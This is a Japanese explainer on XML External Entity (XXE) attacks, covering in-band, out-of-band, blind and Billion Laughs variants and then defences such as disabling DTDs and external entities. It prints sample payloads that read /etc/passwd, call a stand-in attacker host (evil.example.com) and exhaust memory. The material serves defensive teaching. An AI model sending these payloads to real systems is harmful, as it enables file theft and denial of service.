XXE攻撃とは
- XMLパーサーが外部エンティティを展開できる状態で悪意あるXMLを受け付けると、サーバー内部のファイルや外部リソースを読み込んでしまう攻撃。
- 「外部エンティティ」=XML中で定義できるファイルやURLへの参照。
通常は便利機能だが、悪用されると機密情報漏洩やサービス妨害につながる - 攻撃の流れイメージ
- 攻撃者が細工したXMLを送信
- パーサーが外部エンティティを解釈し、ローカルファイルや外部URLへのアクセスを実行
- 結果がレスポンスやログを通じて攻撃者に漏れる
XXE攻撃の種類
-
In-band XXE(直接参照型)
- XML内で定義した外部エンティティをファイル参照(例:
file:///etc/passwd
)で読み込み、その内容をレスポンスに含めて返す手法 - 例:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <foo>&xxe;</foo>
- パーサーが
&xxe;
を展開すると/etc/passwd
の中身がレスポンスに埋め込まれる
- XML内で定義した外部エンティティをファイル参照(例:
-
Out-of-band XXE(間接参照型)
- 内部ファイルの内容を直接返さず、攻撃者が管理する外部サーバーへリクエストを飛ばすことで攻撃の成功を検知する手法
- 例:
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://evil.example.com/collect?data="> ]> <foo>&xxe;</foo>
- サーバーが外部URLへアクセスすれば、攻撃者側のログで発生を確認できる
-
Blind XXE
- レスポンスにファイル内容が含まれない場合でも、エラー応答やレスポンスタイミングを監視して内部情報を推測する手法
- 例:存在しないファイルを指定してエラーが返るかどうかでファイルの有無やサーバー構成を推測
-
DTD爆発型(DoSを狙う:Billion Laughs攻撃など)
- 巨大なDTDを定義し、膨大な文字列を生成させてサーバーのメモリやCPUを枯渇させる攻撃
- 例:
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> … <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
- パース時に膨大な文字列を展開し、サーバーリソースを枯渇させる
XXE攻撃の対策
-
外部エンティティの無効化
- Java(SAX/DOM/StAX)やC#、Pythonなど主要言語のXMLパーサーで、外部エンティティやDTDを読み込まない設定を行う
-
DTDの利用禁止
- 受け付けるXML文字列に
<!DOCTYPE
が含まれていないかチェックし、あれば拒否する - 単純な文字列チェックだけでなく、パーサーの機能でDTD自体を無視する設定を優先する
- 受け付けるXML文字列に
-
JSONなど別フォーマットの検討
- 可能であればXMLではなくJSONなど軽量フォーマットを利用し、XXE攻撃自体を回避する
-
入力値検証と制限
- XML本文のサイズやネストの深さを制限し、異常に大きなDTDや深いネストを検知して拒否する
- Webアプリケーションファイアウォール(WAF)で
<!ENTITY
や<!DOCTYPE
を検知してブロックする
-
テストケースの整備
- In-band/Out-of-band/DoS系のサンプルXMLをテストで送信し、サーバーがエラーになることを確認
- ログに「外部エンティティを無効化した」という情報を出しておくと、設定漏れを後から見つけやすい
XML読み込みは脆弱性やパーサー設定の負担が大きいため、可能ならCSV(またはJSON)に置き換えるのが望ましい。
CSVはシンプルだがフラット構造限定、JSONはネスト可で比較的安全。
要件に応じて適切なフォーマットを選択する。
どうしてもXMLを使う場合は、外部エンティティやDTDを確実に無効化し、XXE対策を徹底しましょう。